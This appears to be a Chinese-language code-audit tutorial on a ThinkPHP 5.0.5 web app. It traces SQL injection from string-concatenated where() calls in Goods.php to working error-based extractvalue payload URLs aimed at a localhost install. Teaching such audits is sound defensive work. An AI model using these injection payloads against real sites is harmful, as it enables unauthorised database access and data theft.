搭建
1、目录指向绑定域名
phpstudy
2、修改配置导入SQL文件
application/database.php
3、加入修改伪静态配置
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>
一、审计思路-版本
搜索version
define('THINK_VERSION', '5.0.5');
二、审计思路-不安全写法
1.sql注入
// 正常
where('id' => $id)
where('id' , $id)//错误写法
where('id' = $id)
拼接写法,可产生注入点
全局搜索不安全写法,利用正则表达式可快速搜索
1.找到ajaxkdata()
1/application/index/controller/Goods.php
public function ajaxkdata()
$data = Db::name('productdata')->where('pid='.$pid)->find();
SELECT * FROM `wp_productdata` WHERE ( pid=4 ) LIMIT 1
可以进行sql注入
构造payload
http://127.0.0.1/index.php/index/goods/ajaxkdata/pid/4)and extractvalue(1,concat(0x7e,(select user()),0x7e))%23
http://127.0.0.1/index.php/index/goods/ajaxkdata/pid/4 and extractvalue(1,concat(0x7e,(select user()),0x7e))这个也可以
2.找到ChickIsOpen($pid)
无法直接调用
1/application/common.php
$pro = db('productinfo')->where(array('pid'=>$pid))->find();
于是转到
1/application/index/controller/Goods.php
public function goods()
$isopen = ChickIsOpen($pid);
构造url
http://127.0.0.1/index.php/index/goods/goods/pid/6) and(extractvalue(1,concat(0x7e,(select user()),0x7e)))%23
必须超过6
导致报错
三、审计思路-版本漏洞(通过工具收集)
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)